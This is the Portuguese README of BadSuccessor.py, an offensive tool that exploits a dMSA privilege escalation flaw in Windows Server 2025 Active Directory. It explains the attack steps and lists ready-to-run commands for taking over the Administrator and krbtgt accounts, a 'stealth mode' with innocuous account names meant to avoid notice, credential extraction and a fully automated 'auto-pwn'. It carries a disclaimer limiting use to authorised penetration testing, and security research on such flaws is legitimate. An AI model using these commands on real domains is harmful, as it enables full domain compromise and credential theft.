BadSuccessor.py

Uma ferramenta de teste de penetração que explora a vulnerabilidade de escalonamento de privilégios dMSA (delegated Managed Service Account) em ambientes Active Directory do Windows Server 2025.

⚠️ Aviso Legal

Esta ferramenta destina-se exclusivamente a testes de penetração autorizados e fins de pesquisa em segurança. O uso desta ferramenta contra sistemas sem permissão explícita por escrito é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.

⚠️ Aviso de Status de Desenvolvimento e Testes Ambientais

IMPORTANTE: Esta ferramenta está em desenvolvimento e testes ativos.

Status Atual

• Adoção do Windows Server 2025: Em maio de 2025, o Windows Server 2025 ainda está em fase inicial de adoção, com implantações de produção limitadas
• Variações Ambientais: Devido ao número limitado de ambientes Windows Server 2025 disponíveis para testes, esta ferramenta pode encontrar configurações não testadas
• Desenvolvimento Contínuo: Estamos refinando ativamente a ferramenta à medida que mais variações ambientais são implantadas e testadas

O Que Isso Significa

• Espere Atualizações: A ferramenta receberá atualizações frequentes conforme novos tipos de ambiente forem testados
• Relate Problemas: Seu feedback é crucial - informe quaisquer problemas ou casos extremos que encontrar
• Teste com Cuidado: Sempre teste primeiro em um ambiente de não produção
• Variações de Esquema: Diferentes versões do Windows Server 2025 podem implementar atributos dMSA de maneiras diferentes
• Estabilidade de Recursos: Embora a funcionalidade principal seja estável, alguns recursos podem exigir ajustes para ambientes específicos

Variáveis Conhecidas em Acompanhamento

• Diferentes versões de build do Windows Server 2025
• Convenções de nomenclatura de atributos de esquema
• Implementações regionais/localizadas de AD
• Configurações de nuvem híbrida
• Vários níveis funcionais de AD
• Diferentes configurações de endurecimento de segurança

Testes Comunitários

Incentivamos a comunidade de segurança a:

• Testar em ambientes diversos
• Compartilhar descobertas (sanitizadas)
• Enviar pull requests para melhorias de compatibilidade
• Relatar variações ambientais

Ao usar esta ferramenta, você reconhece que ela está em desenvolvimento ativo e pode exigir modificações para o seu ambiente específico.

📋 Visão Geral

O BadSuccessor explora uma vulnerabilidade de escalonamento de privilégios no recurso de Conta de Serviço Gerenciada delegada (dMSA) do Windows Server 2025. A vulnerabilidade permite que atacantes com permissões mínimas escalonem privilégios para qualquer usuário do domínio, incluindo Administradores de Domínio.

Crédito da Pesquisa

Esta ferramenta é baseada na excelente pesquisa de Yuval Gordon, da Akamai Technologies:

• BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory

🎯 Detalhes da Vulnerabilidade

A vulnerabilidade existe no processo de migração do dMSA, onde:

1. Um atacante cria um dMSA malicioso em qualquer OU gravável
2. Define msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link para apontar para um usuário alvo
3. Define msDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State como 2 (migração concluída)
4. O KDC concede automaticamente ao dMSA todos os privilégios do usuário alvo por meio da herança de PAC

Além disso, a estrutura KERB-DMSA-KEY-PACKAGE contém as chaves de senha do usuário alvo, permitindo a extração de credenciais.

✅ Pré-requisitos

Requisitos do Sistema

• Máquina Linux (não ingressada no domínio)
• Python 3.6+
• Acesso à rede para o ambiente Active Directory alvo
• O domínio alvo deve ter pelo menos um Controlador de Domínio Windows Server 2025

Dependências do Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Nota**: A ferramenta foi testada com impacket 0.12.0. Avisos de compatibilidade de versão são exibidos em tempo de execução.

### Dependências Opcionais```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Permissões Necessárias

• Credenciais de domínio válidas (qualquer conta de usuário)
• QUALQUER UMA das seguintes permissões em pelo menos uma Unidade Organizacional:
  • Permissão CreateChild
  • Permissão Write
  • Permissão GenericWrite
  • Permissão GenericAll
  • Membro de grupos padrão com acesso de escrita (por exemplo, Usuários Autenticados)
• A ferramenta descobre automaticamente todas as OUs graváveis e mostra as permissões específicas

🚀 Instalação```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Uso

Sintaxe Básica```bash

python3 badsuccessor.py -d -u -p [options]

### Exemplos de Início Rápido

#### 1. Modo Dry Run (NOVO) - Testar Sem Fazer Alterações```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Enumere o Ambiente```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Realizar o Ataque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Extrair credenciais```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Gerenciamento de Sessão (NOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID

# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

6. Exportar Resultados (NOVO)```bash

Export enumeration results to JSON

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json